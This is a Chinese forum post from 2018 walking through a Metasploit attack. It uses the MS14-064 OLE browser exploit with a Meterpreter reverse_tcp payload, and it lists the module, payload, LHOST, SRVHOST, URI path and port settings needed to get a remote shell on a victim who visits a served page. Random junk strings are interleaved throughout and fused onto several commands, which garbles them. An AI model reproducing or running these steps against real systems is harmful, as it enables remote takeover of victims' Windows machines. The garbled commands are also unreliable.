" Z' d9 x$ \7 c% v9 w3 t f8 q: h" A
我发现msf下的exp只能针对带有powershell的机器进行攻击，我们用如下方法来搞演示% j( ?' K0 ]$ m
' Y D3 i; H, w4 R2 S" K( i y1 M+ ?# U4 g8 m8 m) t' m4 u: Z) D" A
开启msf执行命令use exploits/windows/browser/ms14_064_ole_code_execution如图：
& V k/ A- i& W7 |/ Q5 a% A x
! q4 Q- }9 x# U/ D+ E( i; F3 t4 O" Z& J9 {7 T$ y& J9 B1 I
然后执行命令 set PAYLOAD windows/meterpreter/reverse_tcp6 V4 r+ s0 N, K2 F* Y
/ U7 f: l/ y; }
' i0 t& K# x- N5 v! S* J
set AllowPowershellPrompt true/ x) z% n; I1 D
- S4 t' |; A% w9 I
+ `/ B% M J( j' X8 D0 a6 O, K Set LHOST 192.168.0.109
! ^$ w/ m; H; n* p f; o9 i5 S; o
) u# J3 e3 a3 A0 p
* k" ~4 E$ O1 p- e+ a/ s0 J; g/ P' B set SRVHOST 192.168.0.109
- Y) M2 Z- F" E1 |$ j- I' r* f
/ \+ Q7 y1 Q4 p$ _! L4 O# k* d' h* a9 m9 [
Set uripath share
* o3 f6 d! [6 \: ?& Z0 G
7 O$ [1 v" {3 P( d) k
8 `3 Q8 A; q: N: [ Set srvport 802 o* W2 @% L J6 z! h
' Y" y1 l, Y1 N& W9 w* V l! J7 u, V! d1 r. B! e( u3 X
$ K! o2 W: Z g/ V1 b; r% V
9 `9 ^( r3 _$ t5 A
7 T% E5 V% E+ S. h8 @
' }; m( g! @; ^; n' J6 F
" B' \+ x: }( \, F6 ]" u: x% U( e3 ?$ H5 T: E
5 A' ^( ?9 ~, i
1 J0 [5 M) i- L6 M, P S! `
9 G! v! h2 T5 D& M) \ % `) R4 Y4 ?0 D8 R! L0 T
3 E0 z" _/ G6 z2 j
8 I% K* @( h+ _( T
% w7 \- L. _6 Q$ b# |% I# n
2 j0 m2 P$ A c9 }- }$ ]
4 g% {. s' b' J, P3 i7 P- v 下面我们来访问本地地址如图：$ j: s" K% ~0 W- f; A, O7 W
8 B; V! l. }; r- L; c. J
7 Z5 V$ s- G$ @/ w* k4 G
; j" H& ?/ F/ c! Z; ?# S
2 f Q$ W) @2 ?" Z) `
- B$ \: G" P( a1 j2 @! e/ A4 v6 w 8 _; D, ^7 }( Z' W; ~
( w3 q# Y y8 u& [- F- @- A5 E) C
3 D7 T3 {0 q% t' ~& i1 n4 F
发表于 2018-10-20 20:20:35
收藏
支持
反对